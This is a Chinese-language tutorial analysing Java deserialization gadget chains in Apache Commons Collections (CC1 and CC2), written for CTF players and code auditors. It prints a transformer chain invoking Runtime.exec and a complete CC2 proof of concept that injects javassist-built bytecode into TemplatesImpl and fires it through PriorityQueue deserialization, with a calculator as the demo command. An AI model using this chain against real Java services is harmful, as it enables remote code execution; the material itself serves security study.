java反序列化之Commons Collections分析(一)
前言
在學習java反序列化的過程中,Commons Collections幾乎是反序列化學習中無法繞過的一關。也是各大ctf和awd的常見考點,作為java代碼審計的重要一環,我們今天就來解析一下Commons Collections利用鏈。
版本問題
為了簡述,以下commons-collections簡稱為CC,CC2鏈中使用的是commons-collections-4.0版本,但是CC1在commons-collections-4.0版本中其實能使用,但是commons-collections-4.0版本刪除了lazyMap的decode方法,這時候我們可以使用lazyMap方法來代替。但是這里產生了一個疑問,為什么CC2鏈中使用commons-collections-4.03.2.1-3.1版本不能去使用,使用的是commons-collections-4.04.0的版本?在中間查閱了一些資料,發現在3.1-3.2.1版本中TransformingComparator并沒有去實現Serializable接口,也就是說這是不可以被序列化的。所以在利用鏈上就不能使用他去構造。
首先我們貼一下,CC的利用鏈版本,下面是maven依賴
<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
注意 因為在3.1-3.2.1版本中TransformingComparator類沒有實現Serializable接口,不能夠被序列化,于是就不能在使用鏈上構造了。
CommonsCollections1
環境:JDK1.7、commons-collections-3.1-3.2.1
漏洞點存在于
commons-collections-3.1-src.jar: /org/apache/commons/collections/functors/InvokerTransformer.java
在 InvokerTransformer 類的transform方法中使用了反射,且反射參數均可控,所以我們可以利用這處代碼調用任意類的任意方法

接下來我們需要利用反射調用惡意方法比如命令執行:Runtime.getRuntime().exec
但是得想辦法構造出反射調用,類似下面的方式:
import java.io.IOException;
public class exploit {
public static void main(String [] args) throws IOException{
// 普通命令執行
Runtime.getRuntime().exec(new String [] { "deepin-calculator" });
// 通過反射執行命令
try{
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),
new String [] { "deepin-calculator" }
);
} catch(Exception e) {
e.printStackTrace();
}
}
}
后面的流程就是需要找到能循環調用 transform 方法的地方來構造反射鏈
commons-collections-3.1.jar!/org/apache/commons/collections/functors/ChainedTransformer.class中有合適的transform方法,對 iTransformers 數組進行了循環遍歷,并調用其元素的 transform 方法

所以我們可以構造上文提到的反射調用鏈,將 ChainedTransformer 的 Transformer 屬性按照如下構造:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /System/Applications/Calculator.app" })
};
CommonsCollections2
之前寫過一篇文章https://zhuanlan.zhihu.com/p/269168330,講解了URLDNS調試分析這種方式,這種雖然是簡單的序列化利用方式,但是麻雀雖小,五臟俱全,正常的反序列化流程都是這么走的。
不過說到底CommonCollections雖說確實相比于URLDNS要復雜一些。
我盡量簡化,貼上現在最新的poc
package com.evalshell.springboot.handler;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("CommonsCollections1123");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");");
byte[] bytes = payload.toBytecode();
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field name = templatesImpl.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templatesImpl,"test");
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(invokerTransformer);
PriorityQueue<Integer> queue = new PriorityQueue<Integer>(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.ser"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("cc2.ser"));
inputStream.readObject();
inputStream.close();
}
}
運行的結果如下:

首先我貼上利用鏈:
ObjectInputStream.readObject() ->PriorityQueue.readObject() ->PriorityQueue.heapify ->PriorityQueue.siftDown ->PriorityQueue.siftDownUsingComparator ->TransformingComparator.compare() ->InvokerTransformer.transform() ->TemplatesImpl.getTransletInstance ->cc2.newInstance() ->Runtime.exec()
這個過程涉及到下面幾個接口和類:
TransformedMap
TransformedMap用于對Java標準數據結構Map做一個修飾,被修飾過的Map在添加新的元素時,將可 以執行一個回調。我們通過下面這行代碼對innerMap進行修飾,傳出的outerMap即是修飾后的Map:
MapouterMap=TransformedMap.decorate(innerMap,keyTransformer, valueTransformer);
TemplatesImpl
這里其實是javassist部分的知識,簡單的來說就是動態的新創建了一個CommonsCollections1234這個類中執行的是java.lang.Runtime.getRuntime().exec(\"open //System/Applications/Calculator.app\");這一段的代碼,之后通過byte[] bytes = payload.toBytecode();轉換成二進制數據。
TemplatesImpl介紹一下這個類的內容,在CC2的鏈中getTransletInstance的方法是其中的一環,首先看到構造方法是protected的并且我也沒有發現什么可以能夠實現它的方法。所以還是通過反射的方式去處理。

其中是可以看到調用了defineTransletClasses() 方法的。

于是現在就需要找到什么地方調用了getTransletInstance,就會找到templatesImpl的newTransformer方法是調用的

現在的問題是如何調用 newTransformer,這里我們POC給出的方案是通過InvokerTransformer類來反射調用,于是入口就變成了找到transform方法,有點CC1的味道了。
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(invokerTransformer);
最后來看POC的最后一段代碼
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
設置queue為Object[]數組,內容為兩個存在惡意代碼的TemplatesImpl實例實例化對象。調用heapify方法的時候就會進行傳參進去。到此為止走到了readObject方法之后就都走完了,這一條反序列化鏈也OK了.
參考資料
https://clq0.top/commons_collections_analysis
https://www.freebuf.com/articles/web/291406.html